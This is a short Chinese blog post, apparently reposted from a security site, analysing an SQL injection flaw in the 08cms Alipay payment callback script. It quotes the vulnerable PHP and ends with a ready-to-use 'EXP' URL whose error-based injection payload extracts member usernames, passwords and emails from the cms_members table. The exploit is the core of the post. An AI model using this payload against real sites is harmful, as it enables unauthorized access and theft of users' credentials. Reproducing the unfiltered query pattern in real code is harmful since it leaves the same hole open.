08cms SQL注入漏洞分析及利用EXP

摘自:http://www.unhonker.com/bug/1387.html

汽车的:

/include/paygate/alipay/pays.php

/* 
 *类名:alipay_notify 
 *功能:付款过程中服务器通知类 
 *详细:该页面是通知返回核心处理文件,不需要修改 
 *版本:3.1 
 *修改日期:2010-10-29 
 '说明: 
 '以下代码只是为了方便商户测试而提供的样例代码,商户可以根据自己网站的需要,按照技术文档编写,并非一定要使用该代码。 
 '该代码仅供学习和研究支付宝接口使用,只是提供一个参考。 
*/

require_once("class/alipay_notify.php"); 
empty($_POST) && $_POST = &$_GET;  
require_once('../pay_base.php');  包含巍峨 
$pay = new pay_base('alipay');  // 实例化 
$pay->by = 'pays'; //我们看看里面是咋写的  
$pay->order_sn = $_POST['out_trade_no']; //看看这里 没过滤就带进去了  
if(!$pay->getData()){                        //     获取数据                  
    //log_result ("order_failed"); 
    exit("fail"); 
} 
........ 

    function getData(){ 
            ......... 

switch($this->by){ 
        case 'pays': 
            $sql1 = "SELECT pid as order_id,mid,amount as totalfee FROM {$tblprefix}pays WHERE ordersn='$this->order_sn'"; 在这里来了 
            $this->status = 0; 
            break; 
      ....................................... 
        if($sql1 && $tmp = $db->fetch_one($sql1)){ //         注入 
            if(empty($key) || empty($tmp[$key]) || empty($sql2)){

EXP:

 

/include/paygate/alipay/pays.php?out_trade_no=22'%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20concat(0x3a,mname,0x3a,password,0x3a,email,0x3a)%20from%20cms_members%20limit%200,1),FLOOR(RAND(0)*2))X%20FROM%20information_schema.tables%20GROUP%20BY%20X)a)%20AND'

 

发表评论